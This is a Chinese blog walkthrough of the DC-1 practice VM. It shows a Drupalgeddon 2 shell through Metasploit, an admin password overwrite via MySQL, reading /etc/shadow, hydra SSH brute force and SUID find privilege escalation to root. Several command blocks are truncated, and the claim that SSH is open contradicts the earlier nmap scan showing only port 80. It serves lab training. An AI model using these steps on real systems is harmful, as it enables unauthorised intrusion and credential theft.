DC-1靶场渗透测试-suid提权-Drupal 7-GetShell Kali-whatweb-nmap-arp使用

DC-1靶场渗透测试-suid提权-Drupal 7-GetShell Kali-whatweb-nmap-arp使用
28.7的博客准备靶机
DC-1靶场渗透测试:SUID提权与Drupal 7 GetShell实战
涉及工具:Kali Linux、whatweb、nmap、arp-scan、dirsearch、msfconsole、hydra
核心目标:完成DC-1靶场全流程渗透,获取5个flag并通过SUID提权至root权限
其他靶机
一、准备靶机
1.1 下载与解压
解压后得到以下文件,包含虚拟机镜像及配置信息:
图1-1 靶机解压后文件列表
1.2 导入虚拟机
- 打开VMware,选择「文件」→「打开」,加载靶机的
.vmx文件; - 导入过程中可能出现兼容性报错,点击「重试」即可继续,无需额外配置:
图1-2 导入报错提示
图1-3 点击「重试」继续导入 - 导入完成后,虚拟机列表将显示「DC-1」,此时靶机准备就绪:
图1-4 靶机导入成功
二、局域网信息收集
靶机IP未知,需先通过扫描工具识别局域网内存活主机,定位DC-1的IP地址。
2.1 Nmap主机存活扫描
Nmap是网络发现与安全审计工具,-sn参数仅扫描主机存活(不进行端口扫描),避免触发目标防护。
1 | # Kali终端执行,192.168.20.0/24为本地局域网段(需根据实际环境修改) |
扫描结果将显示局域网内所有存活主机的IP与MAC地址:
图2-1 Nmap主机存活扫描结果
2.2 ARP-Scan精准定位
arp-scan通过ARP协议扫描本地网络,可直接关联IP与MAC地址,结合VMware虚拟机配置中的MAC地址,精准定位靶机IP。
1 | # 扫描本地局域网所有主机 |
图2-2 arp-scan扫描结果
确认靶机IP
- 打开DC-1虚拟机的「设置」→「网络适配器」→「高级」,查看靶机MAC地址(如
00:0C:29:AC:35:D5);
图2-3 靶机MAC地址(VMware配置) - 对比arp-scan结果,找到对应MAC地址的IP:192.168.20.153(后续渗透均基于此IP);
图2-4 靶机IP确认
三、深度信息收集
定位靶机IP后,需进一步探测端口、服务版本、CMS类型等信息,为后续渗透找突破口。
3.1 Nmap端口与系统探测
-O参数开启操作系统版本探测,扫描靶机开放端口及对应服务:
1 | nmap -O 192.168.20.153 |
扫描结果分析
1 | Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 21:44 CST |
关键信息:
- 仅开放80端口,运行Apache 2.2.22(Debian系统);
- 无其他端口开放,渗透突破口集中在Web服务。
3.2 WhatWeb识别Web技术栈
WhatWeb是Web技术识别工具,可自动检测CMS、编程语言、前端框架等信息:
1 | # -v参数开启详细模式,输出更多识别结果 |
图3-1 WhatWeb扫描结果
核心信息汇总
| 关键信息类别 | 具体内容 |
|---|---|
| Web服务器版本 | Apache 2.2.22 |
| 操作系统环境 | Debian Linux(Apache/2.2.22 (Debian)) |
| 内容管理系统(CMS) | Drupal 7(官方链接:http://drupal.org) |
| 前端技术 | JQuery(Script类型:text/javascript) |
| 后端编程语言及版本 | PHP 5.4.45-0+deb7u14(X-Powered-By:PHP/5.4.45-0+deb7u14) |
3.3 访问Web页面与Wappalyzer验证
- 浏览器访问
http://192.168.20.153,确认Drupal 7默认页面:
图3-2 Drupal 7默认页面 - 安装浏览器扩展「Wappalyzer」,再次验证技术栈(与WhatWeb结果一致):
图3-3 Wappalyzer验证结果
四、渗透环节:GetShell与Flag获取
4.1 目录FUZZ(Dirsearch)
Dirsearch是Web路径扫描工具,用于暴力破解Drupal的隐藏目录/文件,寻找配置文件或漏洞入口:
1 | # -u:目标URL;-e*:探测所有常见后缀(php、txt、html等) |
关键结果
1 | [22:02:41] 200 - 768B - /COPYRIGHT.txt # Drupal版权文件,确认CMS版本一致性 |
图4-1 Dirsearch扫描结果
4.2 Metasploit利用Drupal漏洞GetShell
Drupal 7存在多个远程代码执行漏洞,其中「Drupalgeddon 2(SA-CORE-2018-002)」漏洞等级为excellent,可直接GetShell。
步骤1:启动MSF控制台
1 | msfconsole |
图4-2 启动MSF控制台
步骤2:搜索Drupal漏洞模块
1 | search Drupal # 筛选可GetShell的漏洞模块 |
图4-3 搜索Drupal漏洞模块
步骤3:选择并配置漏洞模块
优先选择exploit/unix/webapp/drupal_drupalgeddon2(Drupalgeddon 2漏洞),适配Drupal 7:
1 | # 1. 加载漏洞模块 |
图4-4 配置漏洞模块参数
图4-5 确认RHOSTS设置
步骤4:执行攻击与获取Shell
1 | exploit # 启动攻击 |
攻击成功后,将获取Meterpreter会话,输入shell切换为目标系统终端:
1 | shell # 从Meterpreter切换到系统shell |
图4-6 攻击成功获取Meterpreter会话
图4-7 切换为系统shell
步骤5:完善交互Shell
默认shell功能有限,通过Python生成/bin/bash完善交互(支持命令补全、上下键历史):
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
图4-8 完善交互shell
4.3 获取Flag1(数据库配置文件)
Flag1提示:“所有优秀的CMS都需要一个配置文件,你也不例外”
Drupal 7的核心配置文件路径为/var/www/sites/default/settings.php,查看该文件获取数据库账号密码:
1 | # 查看配置文件 |
图4-9 Flag1位置
图4-10 查看配置文件内容
数据库关键信息
1 | $databases = array ( |
4.4 数据库操作与修改Admin密码(获取Flag2)
步骤1:登录MySQL数据库
使用配置文件中的账号密码登录MySQL:
1 | mysql -udbuser -pR0ck3t # -u:用户名;-p:密码(直接跟在-p后,无空格) |
图4-11 登录MySQL数据库
步骤2:查询Drupal用户表
Drupal的用户信息存储在drupaldb数据库的users表中,密码采用Drupal专用哈希加密:
1 | # 1. 切换到drupaldb数据库 |
图4-12 查询users表中的管理员密码(加密)
步骤3:生成Drupal密码哈希
Drupal密码无法直接解密,需生成新哈希覆盖原有密码。利用Drupal自带的密码生成脚本:
- 切换到Drupal根目录:
cd /var/www; - 执行密码生成脚本(生成密码
admin123的哈希):生成的哈希:1
./scripts/password-hash.sh admin123
$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8
图4-13 生成新密码哈希
步骤4:更新Admin密码
1 | # 更新admin用户的密码为新哈希 |
图4-14 覆盖管理员密码
4.5 登录Drupal后台获取Flag3
- 浏览器访问
http://192.168.20.153/user,使用账号admin、密码admin123登录; - 登录后在「Dashboard」页面找到Flag3:
图4-15 Drupal后台Flag3
Flag3提示:“特殊权限(Special PERMS)将有助于找到 passwd 文件 —— 但你需要使用 -exec(find 命令参数)来运行相关命令,进而获取 shadow 影子密码文件内容”
4.6 爆破Flag4用户(Hydra)
步骤1:查看/etc/shadow文件
/etc/shadow存储用户密码哈希,发现存在flag4用户:
1 | cat /etc/shadow |
图4-16 /etc/shadow中的flag4用户
步骤2:Hydra爆破SSH密码
DC-1开放SSH服务(默认22端口),使用Hydra(九头蛇)爆破flag4用户密码:
1 | # -l:指定用户名(flag4);-P:密码字典;ssh://目标IP |
图4-17 Hydra爆破成功(密码:orange)
步骤3:SSH登录Flag4用户与获取Flag4
1 | # SSH登录flag4用户 |
Flag4提示:“你能使用同样的方法来找到或访问根目录(root)下的目标标识文件(flag)吗?或许可以。但这可能没那么简单。不过,也说不定其实很简单呢?”
图4-18 获取Flag4
五、SUID提权至Root(获取最终Flag)
5.1 SUID权限原理
SUID(Set User ID)是Linux特殊权限:用户执行带有SUID权限的文件时,将临时获得文件所有者的权限(若文件所有者为root,则执行时获得root权限)。
5.2 查找SUID权限文件
通过find命令搜索系统中所有带有SUID权限的文件(-perm -u=s表示用户权限含SUID):
1 |
|
图5-1 查找SUID文件(find命令含SUID权限)
关键发现:/usr/bin/find带有SUID权限,且所有者为root——可通过find的-exec参数执行命令,临时获得root权限。
5.3 利用Find提权至Root
find的-exec参数可在找到文件后执行指定命令,结合SUID权限执行/bin/sh,直接获取root shell:
1 | # 任意找一个存在的文件(如index.php),通过-exec执行/bin/sh |
执行后,输入whoami验证权限——已切换为root:
图5-2 利用find提权至root
5.4 获取最终Flag(root目录)
root目录下的thefinalflag.txt为最终目标:
1 | # 切换到root目录 |
图5-3 最终Flag内容
最终Flag提示:“做得好!!!希望你喜欢这次体验,并且学到了一些新技能。你可以通过 Twitter 联系我(@DCAU7),告诉我你对这段小旅程的看法”
六、渗透总结
| 阶段 | 核心操作 | 工具/漏洞 | 目标成果 |
|---|---|---|---|
| 信息收集 | 主机存活扫描、端口探测、CMS识别 | nmap、arp-scan、whatweb | 定位靶机IP(192.168.20.153)、识别Drupal 7 |
| GetShell | 利用Drupalgeddon 2漏洞远程代码执行 | msfconsole | 获取系统shell(www-data权限) |
| 权限提升(1) | 读取数据库配置、修改Drupal管理员密码 | MySQL、Drupal密码脚本 | 登录后台获取Flag3 |
| 权限提升(2) | Hydra爆破SSH、SUID提权(find命令) | hydra、find | 获得root权限 |
| 目标达成 | 获取5个Flag(含最终root目录Flag) | —— | 完成DC-1全流程渗透 |















